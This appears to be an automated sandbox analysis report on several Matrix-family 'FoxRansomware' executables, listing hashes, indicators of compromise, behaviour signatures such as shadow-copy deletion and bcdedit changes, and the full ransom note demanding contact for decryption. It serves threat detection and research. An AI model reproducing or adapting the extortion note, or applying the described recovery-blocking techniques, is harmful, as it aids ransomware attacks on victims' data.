Overview
overview
10Static
static
3FoxRansomw...65.exe
windows7-x64
10FoxRansomw...65.exe
windows10-2004-x64
10FoxRansomw...a7.exe
windows7-x64
10FoxRansomw...a7.exe
windows10-2004-x64
10FoxRansomw...20.exe
windows7-x64
10FoxRansomw...20.exe
windows10-2004-x64
10FoxRansomw...0b.exe
windows7-x64
10FoxRansomw...0b.exe
windows10-2004-x64
10FoxRansomw...53.exe
windows7-x64
10FoxRansomw...53.exe
windows10-2004-x64
10FoxRansomw...b1.exe
windows7-x64
10FoxRansomw...b1.exe
windows10-2004-x64
10Analysis
- max time kernel
150s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20231215-en - resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system - submitted
13/02/2024, 05:15
Static task
static1
Behavioral task
behavioral1
Sample
FoxRansomware/0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
FoxRansomware/0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
FoxRansomware/0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
FoxRansomware/0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
FoxRansomware/42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
FoxRansomware/42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
FoxRansomware/6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
FoxRansomware/6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
FoxRansomware/91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
FoxRansomware/91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral11
Sample
FoxRansomware/941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
FoxRansomware/941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe
Resource
win10v2004-20231215-en
General
- Target FoxRansomware/0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
- Size 1.2MB
- Sample240213-fxzrcaff73
- SHA256 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7
- MD5 76b640aa00354e46b29ca7ac2adfd732
- SHA1 afebf9d72ba7186afefebf4deda87675621b0b8b
- SHA512 fecb15238714c786098f1dd0bb18696ab15634228ec3a48c900fd843e817d4c24607bdf6fb58e0321da3e1c1e49305ec919dddabbd34727acec8fbd6cb6fd552
- SSDEEP 24576:l/SA+2lraRrjSJR5ezmT1dM9tZBrPyvaNn:zXlabPyyN
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
-
ps1
-
ps1.dropper
http://myexternalip.com/raw
Extracted
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\ENU\#FOX_README#.rtf
- {\rtf1\ansi\ansicpg1251\deff0\nouicompat\deflang1049{\fonttbl{\f0\fnil\fcharset0 Calibri;}{\f1\fnil\fcharset204 Calibri;}} {\colortbl ;\red255\green0\blue0;\red0\green77\blue187;\red0\green176\blue80;\red0\green0\blue255;\red255\green255\blue255;} {\*\generator Riched20 10.0.15063}\viewkind4\uc1 \pard\ri-500\sa200\sl240\slmult1\qc\tx8804\ul\b\f0\fs28\lang1033 HOW TO RECOVER YOUR FILES INSTRUCTION\ulnone\f1\lang1049\par \pard\ri-74\sl240\slmult1\tx8378\cf1\f0\fs24\lang1033 ATENTION!!!\par \cf0\b0 We are realy sorry to inform you that \b ALL YOUR FILES WERE ENCRYPTED \par \b0 by our automatic software. It became possible because of bad server security. \par \cf1\b ATENTION!!!\par \cf0\b0 Please don't worry, we can help you to \b RESTORE\b0 your server to original\par state and decrypt all your files quickly and safely!\par \b\par \cf2 INFORMATION!!!\par \cf0\b0 Files are not broken!!!\par Files were encrypted with AES-128+RSA-2048 crypto algorithms.\par There is no way to decrypt your files without unique decryption key and special software. Your unique decryption key is securely stored on our server. For our safety, all information about your server and your decryption key will be automaticaly \b DELETED AFTER 7 DAYS! \b0 You will irrevocably lose all your data!\par \i * Please note that all the attempts to recover your files by yourself or using third party tools will result only in irrevocable loss of your data!\par * Please note that you can recover files only with your unique decryption key, which stored on our side. If you will use the help of third parties, you will only add a middleman.\f1\lang1049\par \i0\f0\lang1033\par \cf3\b HOW TO RECOVER FILES???\par \cf0\b0 Please write us to the e-mail \i (write on English or use professional translator)\i0 :\par \pard\sl240\slmult1\b\fs28 [email protected] \par [email protected]\par [email protected]\cf1\fs24\par You have to send your message on each of our 3 emails\f1\lang1049 \f0\lang1033 due to the fact that the message may not reach their intended recipient for a variety of reasons!\fs28\par \pard\ri-74\sl240\slmult1\tx8378\cf0\b0\fs24 \par In subject line write your personal ID:\par \b\fs28 1DE4665DDDA47F49\par \b0\fs24 We recommed you to attach 3 encrypted files to your message. We will demonstrate that we can recover your files. \f1\lang1049\par \i * \f0\lang1033 \f1\lang1049 \f0\lang1033 Please note that files must not contain any valuable information and their total size must be less than 5Mb. \par \i0\par \cf1\b OUR ADVICE!!!\par \cf0\b0 Please be sure that we will find common languge. We will restore all the data and give you recommedations how to configure the protection of your server.\par \ul\b\par We will definitely reach an agreement ;) !!!\b0\par \ulnone\par \fs20 \par \par \par \par \par \par \par \pard\ri-74\sl240\slmult1\qc\tx8378\b\fs24 ALTERNATIVE COMMUNICATION\par \b0\fs20\par \pard\ri-74\sl240\slmult1\tx8378 \f1\lang1049 If y\'eeu did n\'eet r\'e5c\'e5iv\'e5 th\'e5 \'e0nsw\'e5r fr\'eem th\'e5 \'e0f\'eer\'e5cit\'e5d \'e5m\'e0il\f0\lang1033 s\f1\lang1049 f\'eer m\'eer\'e5 th\f0\lang1033 e\f1\lang1049 n \f0\lang1033 24\f1\lang1049 h\f0\lang1033 o\f1\lang1049 urs\f0\lang1033 please s\f1\lang1049\'e5\f0\lang1033 nd us Bitm\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 s fr\f1\lang1049\'ee\f0\lang1033 m \f1\lang1049\'e0\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 b br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r thr\f1\lang1049\'ee\f0\lang1033 ugh th\f1\lang1049\'e5\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 bp\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 {{\field{\*\fldinst{HYPERLINK https://bitmsg.me }}{\fldrslt{https://bitmsg.me\ul0\cf0}}}}\f0\fs20 . B\f1\lang1049\'e5\f0\lang1033 l\f1\lang1049\'ee\f0\lang1033 w is \f1\lang1049\'e0\f0\lang1033 tut\f1\lang1049\'ee\f0\lang1033 ri\f1\lang1049\'e0\f0\lang1033 l \f1\lang1049\'ee\f0\lang1033 n h\f1\lang1049\'ee\f0\lang1033 w t\f1\lang1049\'ee\f0\lang1033 s\f1\lang1049\'e5\f0\lang1033 nd bitm\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 vi\f1\lang1049\'e0\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 b br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r:\par 1. \f1\lang1049\'ce\f0\lang1033 p\f1\lang1049\'e5\f0\lang1033 n in y\f1\lang1049\'ee\f0\lang1033 ur br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r th\f1\lang1049\'e5\f0\lang1033 link {{\field{\*\fldinst{HYPERLINK https://bitmsg.me/users/sign_up }}{\fldrslt{https://bitmsg.me/users/sign_up\ul0\cf0}}}}\f0\fs20 \f1\lang1049\'e0\f0\lang1033 nd m\f1\lang1049\'e0\f0\lang1033 k\f1\lang1049\'e5\f0\lang1033 th\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 gistr\f1\lang1049\'e0\f0\lang1033 ti\f1\lang1049\'ee\f0\lang1033 n b\f1\lang1049\'f3\f0\lang1033 \f1\lang1049\'e5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 ring n\f1\lang1049\'e0\f0\lang1033 m\f1\lang1049\'e5\f0\lang1033 \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd p\f1\lang1049\'e0\f0\lang1033 ssw\f1\lang1049\'ee\f0\lang1033 rd.\par 2. \f1\lang1049\'d3\'ee\f0\lang1033 u must c\f1\lang1049\'ee\f0\lang1033 nfirm th\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 gistr\f1\lang1049\'e0\f0\lang1033 ti\f1\lang1049\'ee\f0\lang1033 n, r\f1\lang1049\'e5\f0\lang1033 turn t\f1\lang1049\'ee\f0\lang1033 \f1\lang1049\'f3\'ee\f0\lang1033 ur \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd f\f1\lang1049\'ee\f0\lang1033 ll\f1\lang1049\'ee\f0\lang1033 w th\f1\lang1049\'e5\f0\lang1033 instructi\f1\lang1049\'ee\f0\lang1033 ns th\f1\lang1049\'e0\f0\lang1033 t w\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 s\f1\lang1049\'e5\f0\lang1033 nt t\f1\lang1049\'ee\f0\lang1033 \f1\lang1049\'f3\'ee\f0\lang1033 u.\par 3. R\f1\lang1049\'e5\f0\lang1033 turn t\f1\lang1049\'ee\f0\lang1033 sit\f1\lang1049\'e5\f0\lang1033 \f1\lang1049\'e0\f0\lang1033 nd \f1\lang1049\'f1\f0\lang1033 lick \f1\lang1049 "\f0\lang1033 L\f1\lang1049\'ee\f0\lang1033 gin\f1\lang1049 "\f0\lang1033 l\f1\lang1049\'e0\f0\lang1033 b\f1\lang1049\'e5\f0\lang1033 l \f1\lang1049\'ee\f0\lang1033 r us\f1\lang1049\'e5\f0\lang1033 link {{\field{\*\fldinst{HYPERLINK https://bitmsg.me/users/sign_in }}{\fldrslt{https://bitmsg.me/users/sign_in\ul0\cf0}}}}\f0\fs20 , \f1\lang1049\'e5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'f3\'ee\f0\lang1033 ur \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd p\f1\lang1049\'e0\f0\lang1033 ssw\f1\lang1049\'ee\f0\lang1033 rd \f1\lang1049\'e0\f0\lang1033 nd click th\f1\lang1049\'e5\f0\lang1033 "Sign in" butt\f1\lang1049\'ee\f0\lang1033 n. \f1\lang1049 \f0\lang1033\par 4. \f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "\f1\lang1049\'d1\f0\lang1033 r\f1\lang1049\'e5\'e0\f0\lang1033 t\f1\lang1049\'e5\f0\lang1033 R\f1\lang1049\'e0\f0\lang1033 nd\f1\lang1049\'ee\f0\lang1033 m \f1\lang1049\'e0\f0\lang1033 ddr\f1\lang1049\'e5\f0\lang1033 ss" butt\f1\lang1049\'ee\f0\lang1033 n.\par 5. \f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "N\f1\lang1049\'e5\f0\lang1033 w m\f1\lang1049\'e0\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 " butt\f1\lang1049\'ee\f0\lang1033 n.\par \b 6. S\f1\lang1049\'e5\f0\lang1033 nding m\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 :\par T\f1\lang1049\'ee\f0\lang1033 :\b0 \f1\lang1049\'c5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'e0\f0\lang1033 ddr\f1\lang1049\'e5\f0\lang1033 ss: \b BM-2cXRWRW5Jv5hxbhgu2HJSJrtPf92iKshhm\par \pard\sl240\slmult1 Subj\f1\lang1049\'e5\'f1\f0\lang1033 t:\b0 \f1\lang1049\'c5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'f3\'ee\f0\lang1033 ur ID: \b 1DE4665DDDA47F49\par M\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 : \b0 D\f1\lang1049\'e5\f0\lang1033 scrib\f1\lang1049\'e5\f0\lang1033 wh\f1\lang1049\'e0\f0\lang1033 t \f1\lang1049\'f3\'ee\f0\lang1033 u think n\f1\lang1049\'e5\f0\lang1033 c\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 r\f1\lang1049\'f3\f0\lang1033 .\par \pard\ri-74\sa200\sl240\slmult1\tx8378\f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "S\f1\lang1049\'e5\f0\lang1033 nd m\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 " butt\f1\lang1049\'ee\f0\lang1033 n.\cf5\b\par \pard\sa200\sl240\slmult1\fs28 VwxEC2cg\cf0\f1\fs32\lang1049\par \par }
-
[email protected]\cf1\fs24\par
-
https://bitmsg.me
-
https://bitmsg.me/users/sign_up
-
https://bitmsg.me/users/sign_in
Signatures
- Matrix Ransomware 64 IoCs
Targeted ransomware with information collection and encryption functionality.
description ioc Process File created C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.0\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files\Microsoft Office\root\Office16\ODBC Drivers\Redshift\lib\OpenSSL64.DllA\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\root\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\fr-fr\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\zh-cn\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sign-services-auth\js\nls\de-de\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\pl-pl\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\pt-br\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\js\nls\en-ae\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\ro-ro\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\css\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sign-services-auth\js\nls\root\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Trust Protection Lists\Sigma\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\nb-no\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\pt-br\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files\Mozilla Firefox\browser\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\eu-es\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files\Java\jre-1.8\lib\deploy\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\app-center\js\nls\da-dk\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\sk-sk\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\task-handler\js\nls\root\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files\VideoLAN\VLC\locale\fa\LC_MESSAGES\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files\VideoLAN\VLC\plugins\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\tr-tr\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\da-dk\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\js\nls\eu-es\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\en-ae\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.0\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files\Java\jre-1.8\lib\jfr\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files\VideoLAN\VLC\locale\co\LC_MESSAGES\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\de-de\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\plugins\rhp\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\search-summary\js\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\nb-no\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files\VideoLAN\VLC\locale\ms\LC_MESSAGES\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\de-de\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Users\All Users\Microsoft\ClickToRun\ProductReleases\0BC38F05-20C0-4D3A-8C7C-72786C413F21\x-none.16\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\cs-cz\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\root\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\zh-tw\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\css\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\ro-ro\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\nb-no\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files\Microsoft Office\root\Office16\LogoImages\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Analysis Services\AS OLEDB\140\Cartridges\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\zh-tw\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files\Microsoft Office\root\Office16\FPA_f2\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\ro-ro\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\nls\ja-jp\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files\VideoLAN\VLC\lua\meta\art\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\ko-kr\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\search-summary\js\nls\cs-cz\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Users\All Users\Package Cache\{F6080405-9FA8-4CAA-9982-14E95D1A3DAC}v14.30.30704\packages\vcRuntimeMinimum_x86\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\nl-nl\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files\VideoLAN\VLC\locale\vi\LC_MESSAGES\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\app-center\js\nls\de-de\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\pl-pl\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Users\All Users\Package Cache\{BF08E976-B92E-4336-B56F-2171179476C4}v14.30.30704\packages\vcRuntimeAdditional_x86\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\search-summary\js\nls\ca-es\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\tr-tr\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\sl-si\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\ResiliencyLinks\Locales\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe - Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
pid Process 1648 bcdedit.exe 4304 bcdedit.exe - Blocklisted process makes network request 1 IoCs
flow pid Process 153 3328 powershell.exe - Drops file in Drivers directory 1 IoCs
